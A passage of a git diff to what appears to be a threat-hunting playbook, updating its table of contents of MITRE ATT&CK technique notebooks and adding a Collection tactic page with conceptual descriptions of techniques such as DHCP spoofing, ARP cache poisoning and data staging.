tactics/privilege-escalation/T1034.ipynb - file: tactics/privilege-escalation/T1037.001.ipynb - file: tactics/privilege-escalation/T1037.002.ipynb - file: tactics/privilege-escalation/T1037.003.ipynb - file: tactics/privilege-escalation/T1037.004.ipynb - file: tactics/privilege-escalation/T1037.005.ipynb - file: tactics/privilege-escalation/T1037.ipynb - - file: tactics/privilege-escalation/T1038.ipynb - - file: tactics/privilege-escalation/T1044.ipynb - - file: tactics/privilege-escalation/T1050.ipynb - - file: tactics/privilege-escalation/T1053.001.ipynb - file: tactics/privilege-escalation/T1053.002.ipynb - file: tactics/privilege-escalation/T1053.003.ipynb - - file: tactics/privilege-escalation/T1053.004.ipynb - file: tactics/privilege-escalation/T1053.005.ipynb - file: tactics/privilege-escalation/T1053.006.ipynb - file: tactics/privilege-escalation/T1053.007.ipynb @@ -290,42 +209,28 @@ sections: - file: tactics/privilege-escalation/T1055.014.ipynb - file: tactics/privilege-escalation/T1055.015.ipynb - file: tactics/privilege-escalation/T1055.ipynb - - file: tactics/privilege-escalation/T1058.ipynb - file: tactics/privilege-escalation/T1068.ipynb - file: tactics/privilege-escalation/T1078.001.ipynb - file: tactics/privilege-escalation/T1078.002.ipynb - file: tactics/privilege-escalation/T1078.003.ipynb - file: tactics/privilege-escalation/T1078.004.ipynb - file: tactics/privilege-escalation/T1078.ipynb - - file: tactics/privilege-escalation/T1088.ipynb - - file: tactics/privilege-escalation/T1100.ipynb - - file: tactics/privilege-escalation/T1103.ipynb + - file: tactics/privilege-escalation/T1098.001.ipynb + - file: tactics/privilege-escalation/T1098.002.ipynb + - file: tactics/privilege-escalation/T1098.003.ipynb + - file: tactics/privilege-escalation/T1098.004.ipynb + - file: tactics/privilege-escalation/T1098.005.ipynb + - file: tactics/privilege-escalation/T1098.006.ipynb + - file: tactics/privilege-escalation/T1098.ipynb - file: tactics/privilege-escalation/T1134.001.ipynb - file: tactics/privilege-escalation/T1134.002.ipynb - file: tactics/privilege-escalation/T1134.003.ipynb - file: tactics/privilege-escalation/T1134.004.ipynb - file: tactics/privilege-escalation/T1134.005.ipynb - file: tactics/privilege-escalation/T1134.ipynb - - file: tactics/privilege-escalation/T1138.ipynb - - file: tactics/privilege-escalation/T1150.ipynb - - file: tactics/privilege-escalation/T1157.ipynb - - file: tactics/privilege-escalation/T1160.ipynb - - file: tactics/privilege-escalation/T1165.ipynb - - file: tactics/privilege-escalation/T1166.ipynb - - file: tactics/privilege-escalation/T1169.ipynb - - file: tactics/privilege-escalation/T1178.ipynb - - file: tactics/privilege-escalation/T1179.ipynb - - file: tactics/privilege-escalation/T1181.ipynb - - file: tactics/privilege-escalation/T1182.ipynb - - file: tactics/privilege-escalation/T1183.ipynb - - file: tactics/privilege-escalation/T1206.ipynb - file: tactics/privilege-escalation/T1484.001.ipynb - file: tactics/privilege-escalation/T1484.002.ipynb - file: tactics/privilege-escalation/T1484.ipynb - - file: tactics/privilege-escalation/T1502.ipynb - - file: tactics/privilege-escalation/T1504.ipynb - - file: tactics/privilege-escalation/T1514.ipynb - - file: tactics/privilege-escalation/T1519.ipynb - file: tactics/privilege-escalation/T1543.001.ipynb - file: tactics/privilege-escalation/T1543.002.ipynb - file: tactics/privilege-escalation/T1543.003.ipynb @@ -358,7 +263,6 @@ sections: - file: tactics/privilege-escalation/T1547.008.ipynb - file: tactics/privilege-escalation/T1547.009.ipynb - file: tactics/privilege-escalation/T1547.010.ipynb - - file: tactics/privilege-escalation/T1547.011.ipynb - file: tactics/privilege-escalation/T1547.012.ipynb - file: tactics/privilege-escalation/T1547.013.ipynb - file: tactics/privilege-escalation/T1547.014.ipynb @@ -368,6 +272,7 @@ sections: - file: tactics/privilege-escalation/T1548.002.ipynb - file: tactics/privilege-escalation/T1548.003.ipynb - file: tactics/privilege-escalation/T1548.004.ipynb + - file: tactics/privilege-escalation/T1548.005.ipynb - file: tactics/privilege-escalation/T1548.ipynb - file: tactics/privilege-escalation/T1574.001.ipynb - file: tactics/privilege-escalation/T1574.002.ipynb @@ -385,8 +290,8 @@ sections: - file: tactics/privilege-escalation/T1611.ipynb - file: tactics/defense-evasion sections: + - file: tactics/defense-evasion/.ipynb_checkpoints - file: tactics/defense-evasion/T1006.ipynb - - file: tactics/defense-evasion/T1009.ipynb - file: tactics/defense-evasion/T1014.ipynb - file: tactics/defense-evasion/T1027.001.ipynb - file: tactics/defense-evasion/T1027.002.ipynb @@ -397,6 +302,9 @@ sections: - file: tactics/defense-evasion/T1027.007.ipynb - file: tactics/defense-evasion/T1027.008.ipynb - file: tactics/defense-evasion/T1027.009.ipynb + - file: tactics/defense-evasion/T1027.010.ipynb + - file: tactics/defense-evasion/T1027.011.ipynb + - file: tactics/defense-evasion/T1027.012.ipynb - file: tactics/defense-evasion/T1027.ipynb - file: tactics/defense-evasion/T1036.001.ipynb - file: tactics/defense-evasion/T1036.002.ipynb @@ -405,10 +313,9 @@ sections: - file: tactics/defense-evasion/T1036.005.ipynb - file: tactics/defense-evasion/T1036.006.ipynb - file: tactics/defense-evasion/T1036.007.ipynb + - file: tactics/defense-evasion/T1036.008.ipynb + - file: tactics/defense-evasion/T1036.009.ipynb - file: tactics/defense-evasion/T1036.ipynb - - file: tactics/defense-evasion/T1038.ipynb - - file: tactics/defense-evasion/T1045.ipynb - - file: tactics/defense-evasion/T1054.ipynb - file: tactics/defense-evasion/T1055.001.ipynb - file: tactics/defense-evasion/T1055.002.ipynb - file: tactics/defense-evasion/T1055.003.ipynb @@ -422,8 +329,6 @@ sections: - file: tactics/defense-evasion/T1055.014.ipynb - file: tactics/defense-evasion/T1055.015.ipynb - file: tactics/defense-evasion/T1055.ipynb - - file: tactics/defense-evasion/T1064.ipynb - - file: tactics/defense-evasion/T1066.ipynb - file: tactics/defense-evasion/T1070.001.ipynb - file: tactics/defense-evasion/T1070.002.ipynb - file: tactics/defense-evasion/T1070.003.ipynb @@ -434,31 +339,14 @@ sections: - file: tactics/defense-evasion/T1070.008.ipynb - file: tactics/defense-evasion/T1070.009.ipynb - file: tactics/defense-evasion/T1070.ipynb - - file: tactics/defense-evasion/T1073.ipynb - file: tactics/defense-evasion/T1078.001.ipynb - file: tactics/defense-evasion/T1078.002.ipynb - file: tactics/defense-evasion/T1078.003.ipynb - file: tactics/defense-evasion/T1078.004.ipynb - file: tactics/defense-evasion/T1078.ipynb - - file: tactics/defense-evasion/T1085.ipynb - - file: tactics/defense-evasion/T1088.ipynb - - file: tactics/defense-evasion/T1089.ipynb - - file: tactics/defense-evasion/T1093.ipynb - - file: tactics/defense-evasion/T1096.ipynb - - file: tactics/defense-evasion/T1099.ipynb - - file: tactics/defense-evasion/T1107.ipynb - - file: tactics/defense-evasion/T1108.ipynb - - file: tactics/defense-evasion/T1109.ipynb - file: tactics/defense-evasion/T1112.ipynb - - file: tactics/defense-evasion/T1116.ipynb - - file: tactics/defense-evasion/T1117.ipynb - - file: tactics/defense-evasion/T1118.ipynb - - file: tactics/defense-evasion/T1121.ipynb - - file: tactics/defense-evasion/T1122.ipynb - - file: tactics/defense-evasion/T1126.ipynb - file: tactics/defense-evasion/T1127.001.ipynb - file: tactics/defense-evasion/T1127.ipynb - - file: tactics/defense-evasion/T1130.ipynb - file: tactics/defense-evasion/T1134.001.ipynb - file: tactics/defense-evasion/T1134.002.ipynb - file: tactics/defense-evasion/T1134.003.ipynb @@ -466,24 +354,7 @@ sections: - file: tactics/defense-evasion/T1134.005.ipynb - file: tactics/defense-evasion/T1134.ipynb - file: tactics/defense-evasion/T1140.ipynb - - file: tactics/defense-evasion/T1143.ipynb - - file: tactics/defense-evasion/T1144.ipynb - - file: tactics/defense-evasion/T1146.ipynb - - file: tactics/defense-evasion/T1147.ipynb - - file: tactics/defense-evasion/T1148.ipynb - - file: tactics/defense-evasion/T1149.ipynb - - file: tactics/defense-evasion/T1150.ipynb - - file: tactics/defense-evasion/T1151.ipynb - - file: tactics/defense-evasion/T1152.ipynb - - file: tactics/defense-evasion/T1158.ipynb - - file: tactics/defense-evasion/T1170.ipynb - - file: tactics/defense-evasion/T1181.ipynb - - file: tactics/defense-evasion/T1183.ipynb - - file: tactics/defense-evasion/T1186.ipynb - - file: tactics/defense-evasion/T1191.ipynb - - file: tactics/defense-evasion/T1196.ipynb - file: tactics/defense-evasion/T1197.ipynb - - file: tactics/defense-evasion/T1198.ipynb - file: tactics/defense-evasion/T1202.ipynb - file: tactics/defense-evasion/T1205.001.ipynb - file: tactics/defense-evasion/T1205.002.ipynb @@ -511,7 +382,6 @@ sections: - file: tactics/defense-evasion/T1222.001.ipynb - file: tactics/defense-evasion/T1222.002.ipynb - file: tactics/defense-evasion/T1222.ipynb - - file: tactics/defense-evasion/T1223.ipynb - file: tactics/defense-evasion/T1480.001.ipynb - file: tactics/defense-evasion/T1480.ipynb - file: tactics/defense-evasion/T1484.001.ipynb @@ -521,12 +391,7 @@ sections: - file: tactics/defense-evasion/T1497.002.ipynb - file: tactics/defense-evasion/T1497.003.ipynb - file: tactics/defense-evasion/T1497.ipynb - - file: tactics/defense-evasion/T1500.ipynb - - file: tactics/defense-evasion/T1502.ipynb - - file: tactics/defense-evasion/T1506.ipynb - - file: tactics/defense-evasion/T1527.ipynb - file: tactics/defense-evasion/T1535.ipynb - - file: tactics/defense-evasion/T1536.ipynb - file: tactics/defense-evasion/T1542.001.ipynb - file: tactics/defense-evasion/T1542.002.ipynb - file: tactics/defense-evasion/T1542.003.ipynb @@ -537,6 +402,7 @@ sections: - file: tactics/defense-evasion/T1548.002.ipynb - file: tactics/defense-evasion/T1548.003.ipynb - file: tactics/defense-evasion/T1548.004.ipynb + - file: tactics/defense-evasion/T1548.005.ipynb - file: tactics/defense-evasion/T1548.ipynb - file: tactics/defense-evasion/T1550.001.ipynb - file: tactics/defense-evasion/T1550.002.ipynb @@ -557,6 +423,7 @@ sections: - file: tactics/defense-evasion/T1556.005.ipynb - file: tactics/defense-evasion/T1556.006.ipynb - file: tactics/defense-evasion/T1556.007.ipynb + - file: tactics/defense-evasion/T1556.008.ipynb - file: tactics/defense-evasion/T1556.ipynb - file: tactics/defense-evasion/T1562.001.ipynb - file: tactics/defense-evasion/T1562.002.ipynb @@ -567,6 +434,8 @@ sections: - file: tactics/defense-evasion/T1562.008.ipynb - file: tactics/defense-evasion/T1562.009.ipynb - file: tactics/defense-evasion/T1562.010.ipynb + - file: tactics/defense-evasion/T1562.011.ipynb + - file: tactics/defense-evasion/T1562.012.ipynb - file: tactics/defense-evasion/T1562.ipynb - file: tactics/defense-evasion/T1564.001.ipynb - file: tactics/defense-evasion/T1564.002.ipynb @@ -578,6 +447,7 @@ sections: - file: tactics/defense-evasion/T1564.008.ipynb - file: tactics/defense-evasion/T1564.009.ipynb - file: tactics/defense-evasion/T1564.010.ipynb + - file: tactics/defense-evasion/T1564.011.ipynb - file: tactics/defense-evasion/T1564.ipynb - file: tactics/defense-evasion/T1574.001.ipynb - file: tactics/defense-evasion/T1574.002.ipynb @@ -596,6 +466,7 @@ sections: - file: tactics/defense-evasion/T1578.002.ipynb - file: tactics/defense-evasion/T1578.003.ipynb - file: tactics/defense-evasion/T1578.004.ipynb + - file: tactics/defense-evasion/T1578.005.ipynb - file: tactics/defense-evasion/T1578.ipynb - file: tactics/defense-evasion/T1599.001.ipynb - file: tactics/defense-evasion/T1599.ipynb @@ -610,8 +481,10 @@ sections: - file: tactics/defense-evasion/T1620.ipynb - file: tactics/defense-evasion/T1622.ipynb - file: tactics/defense-evasion/T1647.ipynb + - file: tactics/defense-evasion/T1656.ipynb - file: tactics/credential-access sections: + - file: tactics/credential-access/.ipynb_checkpoints - file: tactics/credential-access/T1003.001.ipynb - file: tactics/credential-access/T1003.002.ipynb - file: tactics/credential-access/T1003.003.ipynb @@ -627,27 +500,14 @@ sections: - file: tactics/credential-access/T1056.003.ipynb - file: tactics/credential-access/T1056.004.ipynb - file: tactics/credential-access/T1056.ipynb - - file: tactics/credential-access/T1081.ipynb - file: tactics/credential-access/T1110.001.ipynb - file: tactics/credential-access/T1110.002.ipynb - file: tactics/credential-access/T1110.003.ipynb - file: tactics/credential-access/T1110.004.ipynb - file: tactics/credential-access/T1110.ipynb - file: tactics/credential-access/T1111.ipynb - - file: tactics/credential-access/T1139.ipynb - - file: tactics/credential-access/T1141.ipynb - - file: tactics/credential-access/T1142.ipynb - - file: tactics/credential-access/T1145.ipynb - - file: tactics/credential-access/T1167.ipynb - - file: tactics/credential-access/T1171.ipynb - - file: tactics/credential-access/T1174.ipynb - - file: tactics/credential-access/T1179.ipynb - file: tactics/credential-access/T1187.ipynb - - file: tactics/credential-access/T1208.ipynb - file: tactics/credential-access/T1212.ipynb - - file: tactics/credential-access/T1214.ipynb - - file: tactics/credential-access/T1503.ipynb - - file: tactics/credential-access/T1522.ipynb - file: tactics/credential-access/T1528.ipynb - file: tactics/credential-access/T1539.ipynb - file: tactics/credential-access/T1552.001.ipynb @@ -657,12 +517,14 @@ sections: - file: tactics/credential-access/T1552.005.ipynb - file: tactics/credential-access/T1552.006.ipynb - file: tactics/credential-access/T1552.007.ipynb + - file: tactics/credential-access/T1552.008.ipynb - file: tactics/credential-access/T1552.ipynb - file: tactics/credential-access/T1555.001.ipynb - file: tactics/credential-access/T1555.002.ipynb - file: tactics/credential-access/T1555.003.ipynb - file: tactics/credential-access/T1555.004.ipynb - file: tactics/credential-access/T1555.005.ipynb + - file: tactics/credential-access/T1555.006.ipynb - file: tactics/credential-access/T1555.ipynb - file: tactics/credential-access/T1556.001.ipynb - file: tactics/credential-access/T1556.002.ipynb @@ -671,6 +533,7 @@ sections: - file: tactics/credential-access/T1556.005.ipynb - file: tactics/credential-access/T1556.006.ipynb - file: tactics/credential-access/T1556.007.ipynb + - file: tactics/credential-access/T1556.008.ipynb - file: tactics/credential-access/T1556.ipynb - file: tactics/credential-access/T1557.001.ipynb - file: tactics/credential-access/T1557.002.ipynb @@ -692,6 +555,7 @@ sections: - file: tactics/discovery/T1010.ipynb - file: tactics/discovery/T1012.ipynb - file: tactics/discovery/T1016.001.ipynb + - file: tactics/discovery/T1016.002.ipynb - file: tactics/discovery/T1016.ipynb - file: tactics/discovery/T1018.ipynb - file: tactics/discovery/T1033.ipynb @@ -699,7 +563,6 @@ sections: - file: tactics/discovery/T1046.ipynb - file: tactics/discovery/T1049.ipynb - file: tactics/discovery/T1057.ipynb - - file: tactics/discovery/T1063.ipynb - file: tactics/discovery/T1069.001.ipynb - file: tactics/discovery/T1069.002.ipynb - file: tactics/discovery/T1069.003.ipynb @@ -732,30 +595,23 @@ sections: - file: tactics/discovery/T1615.ipynb - file: tactics/discovery/T1619.ipynb - file: tactics/discovery/T1622.ipynb + - file: tactics/discovery/T1652.ipynb + - file: tactics/discovery/T1654.ipynb - file: tactics/lateral-movement sections: - - file: tactics/lateral-movement/T1017.ipynb - file: tactics/lateral-movement/T1021.001.ipynb - file: tactics/lateral-movement/T1021.002.ipynb - file: tactics/lateral-movement/T1021.003.ipynb - file: tactics/lateral-movement/T1021.004.ipynb - file: tactics/lateral-movement/T1021.005.ipynb - file: tactics/lateral-movement/T1021.006.ipynb + - file: tactics/lateral-movement/T1021.007.ipynb + - file: tactics/lateral-movement/T1021.008.ipynb - file: tactics/lateral-movement/T1021.ipynb - - file: tactics/lateral-movement/T1028.ipynb - - file: tactics/lateral-movement/T1051.ipynb - file: tactics/lateral-movement/T1072.ipynb - - file: tactics/lateral-movement/T1075.ipynb - - file: tactics/lateral-movement/T1076.ipynb - - file: tactics/lateral-movement/T1077.ipynb - file: tactics/lateral-movement/T1080.ipynb - file: tactics/lateral-movement/T1091.ipynb - - file: tactics/lateral-movement/T1097.ipynb - - file: tactics/lateral-movement/T1175.ipynb - - file: tactics/lateral-movement/T1184.ipynb - file: tactics/lateral-movement/T1210.ipynb - - file: tactics/lateral-movement/T1506.ipynb - - file: tactics/lateral-movement/T1527.ipynb - file: tactics/lateral-movement/T1534.ipynb - file: tactics/lateral-movement/T1550.001.ipynb - file: tactics/lateral-movement/T1550.002.ipynb @@ -807,29 +663,23 @@ sections: - file: tactics/collection/T1602.ipynb - file: tactics/command-and-control sections: + - file: tactics/command-and-control/.ipynb_checkpoints - file: tactics/command-and-control/T1001.001.ipynb - file: tactics/command-and-control/T1001.002.ipynb - file: tactics/command-and-control/T1001.003.ipynb - file: tactics/command-and-control/T1001.ipynb - file: tactics/command-and-control/T1008.ipynb - - file: tactics/command-and-control/T1024.ipynb - - file: tactics/command-and-control/T1026.ipynb - - file: tactics/command-and-control/T1032.ipynb - - file: tactics/command-and-control/T1043.ipynb - - file: tactics/command-and-control/T1065.ipynb - file: tactics/command-and-control/T1071.001.ipynb - file: tactics/command-and-control/T1071.002.ipynb - file: tactics/command-and-control/T1071.003.ipynb - file: tactics/command-and-control/T1071.004.ipynb - file: tactics/command-and-control/T1071.ipynb - - file: tactics/command-and-control/T1079.ipynb - file: tactics/command-and-control/T1090.001.ipynb - file: tactics/command-and-control/T1090.002.ipynb - file: tactics/command-and-control/T1090.003.ipynb - file: tactics/command-and-control/T1090.004.ipynb - file: tactics/command-and-control/T1090.ipynb - file: tactics/command-and-control/T1092.ipynb - - file: tactics/command-and-control/T1094.ipynb - file: tactics/command-and-control/T1095.ipynb - file: tactics/command-and-control/T1102.001.ipynb - file: tactics/command-and-control/T1102.002.ipynb @@ -840,13 +690,10 @@ sections: - file: tactics/command-and-control/T1132.001.ipynb - file: tactics/command-and-control/T1132.002.ipynb - file: tactics/command-and-control/T1132.ipynb - - file: tactics/command-and-control/T1172.ipynb - - file: tactics/command-and-control/T1188.ipynb - file: tactics/command-and-control/T1205.001.ipynb - file: tactics/command-and-control/T1205.002.ipynb - file: tactics/command-and-control/T1205.ipynb - file: tactics/command-and-control/T1219.ipynb - - file: tactics/command-and-control/T1483.ipynb - file: tactics/command-and-control/T1568.001.ipynb - file: tactics/command-and-control/T1568.002.ipynb - file: tactics/command-and-control/T1568.003.ipynb @@ -856,14 +703,13 @@ sections: - file: tactics/command-and-control/T1573.001.ipynb - file: tactics/command-and-control/T1573.002.ipynb - file: tactics/command-and-control/T1573.ipynb + - file: tactics/command-and-control/T1659.ipynb - file: tactics/exfiltration sections: - - file: tactics/exfiltration/T1002.ipynb - file: tactics/exfiltration/T1011.001.ipynb - file: tactics/exfiltration/T1011.ipynb - file: tactics/exfiltration/T1020.001.ipynb - file: tactics/exfiltration/T1020.ipynb - - file: tactics/exfiltration/T1022.ipynb - file: tactics/exfiltration/T1029.ipynb - file: tactics/exfiltration/T1030.ipynb - file: tactics/exfiltration/T1041.ipynb @@ -876,21 +722,18 @@ sections: - file: tactics/exfiltration/T1537.ipynb - file: tactics/exfiltration/T1567.001.ipynb - file: tactics/exfiltration/T1567.002.ipynb + - file: tactics/exfiltration/T1567.003.ipynb + - file: tactics/exfiltration/T1567.004.ipynb - file: tactics/exfiltration/T1567.ipynb - file: tactics/impact sections: - file: tactics/impact/T1485.ipynb - file: tactics/impact/T1486.ipynb - - file: tactics/impact/T1487.ipynb - - file: tactics/impact/T1488.ipynb - file: tactics/impact/T1489.ipynb - file: tactics/impact/T1490.ipynb - file: tactics/impact/T1491.001.ipynb - file: tactics/impact/T1491.002.ipynb - file: tactics/impact/T1491.ipynb - - file: tactics/impact/T1492.ipynb - - file: tactics/impact/T1493.ipynb - - file: tactics/impact/T1494.ipynb - file: tactics/impact/T1495.ipynb - file: tactics/impact/T1496.ipynb - file: tactics/impact/T1498.001.ipynb @@ -910,3 +753,4 @@ sections: - file: tactics/impact/T1565.002.ipynb - file: tactics/impact/T1565.003.ipynb - file: tactics/impact/T1565.ipynb + - file: tactics/impact/T1657.ipynb diff --git a/playbook/tactics.ipynb b/playbook/tactics.ipynb index 5649db1b..aa8d3d16 100644 --- a/playbook/tactics.ipynb +++ b/playbook/tactics.ipynb @@ -2,7 +2,7 @@ "cells": [ { "cell_type": "markdown", - "id": "9d96ebdd", + "id": "3ecc00a6", "metadata": {}, "source": "| ID | Name | Description |\n| -------- | --------- | --------- |\n| TA0001 | Initial Access | The adversary is trying to get into your network.|\n| TA0002 | Execution | The adversary is trying to run malicious code.|\n| TA0003 | Persistence | The adversary is trying to maintain their foothold.|\n| TA0004 | Privilege Escalation | The adversary is trying to gain higher-level permissions.|\n| TA0005 | Defense Evasion | The adversary is trying to avoid being detected.|\n| TA0006 | Credential Access | The adversary is trying to steal account names and passwords.|\n| TA0007 | Discovery | The adversary is trying to figure out your environment.|\n| TA0008 | Lateral Movement | The adversary is trying to move through your environment.|\n| TA0009 | Collection | The adversary is trying to gather data of interest to their goal.|\n| TA0010 | Exfiltration | The adversary is trying to steal data.|\n| TA0011 | Command and Control | The adversary is trying to communicate with compromised systems to control them.|\n| TA0040 | Impact | The adversary is trying to manipulate, interrupt, or destroy your systems and data.|" } @@ -10,13 +10,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection.ipynb b/playbook/tactics/collection.ipynb index 76c38c94..6a7f2eee 100644 --- a/playbook/tactics/collection.ipynb +++ b/playbook/tactics/collection.ipynb @@ -2,14 +2,14 @@ "cells": [ { "cell_type": "markdown", - "id": "334ba6ca", + "id": "d3016a15", "metadata": {}, - "source": "# Collection\nThe adversary is trying to gather data of interest to their goal.\n\nCollection consists of techniques adversaries may use to gather information and the sources information is collected from that are relevant to following through on the adversary's objectives. Frequently, the next goal after collecting data is to steal (exfiltrate) the data. Common target sources include various drive types, browsers, audio, video, and email. Common collection methods include capturing screenshots and keyboard input.\n## Techniques\n| ID | Name | Description |\n| :--------: | :---------: | :---------: |\nT1557.003 | DHCP Spoofing | Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows: \n\n1. The client broadcasts a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which includes an available network address. \n\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \n\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\n\nDHCPv6 clients can receive network configuration information without being assigned an IP address by sending a INFORMATION-REQUEST (code 11) message to the All_DHCP_Relay_Agents_and_Servers multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network\u2019s DHCP allocation pool. \nT1213.003 | Code Repositories | Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.\n\nOnce adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code. Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)\n\n**Note:** This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1593/003), which focuses on conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043) via public code repositories.\nT1602.002 | Network Device Configuration Dump | Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.\n\nAdversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files.(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. \nT1602.001 | SNMP (MIB Dump) | Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).\n\nThe MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages(Citation: SANS Information Security Reading Room Securing SNMP Securing SNMP). The MIB may also contain device operational information, including running configuration, routing table, and interface details.\n\nAdversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) \nT1602 | Data from Configuration Repository | Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.\n\nAdversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)\nT1557.002 | ARP Cache Poisoning | Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nThe ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.\n\nAn adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.\n\nThe ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)\n\nAdversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)\n\nT1074.002 | Remote Data Staging | Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nBy staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.\nT1074.001 | Local Data Staging | Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nAdversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021)\nT1560.003 | Archive via Custom Method | An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)\nT1560.002 | Archive via Library | An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data.\n\nSome archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.\nT1560.001 | Archive via Utility | Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.\n\nAdversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as tar on Linux and macOS or zip on Windows systems. On Windows, diantz or makecab may be used to package collected files into a cabinet (.cab) file. diantz may also be used to download and compress files from remote locations (i.e. [Remote Data 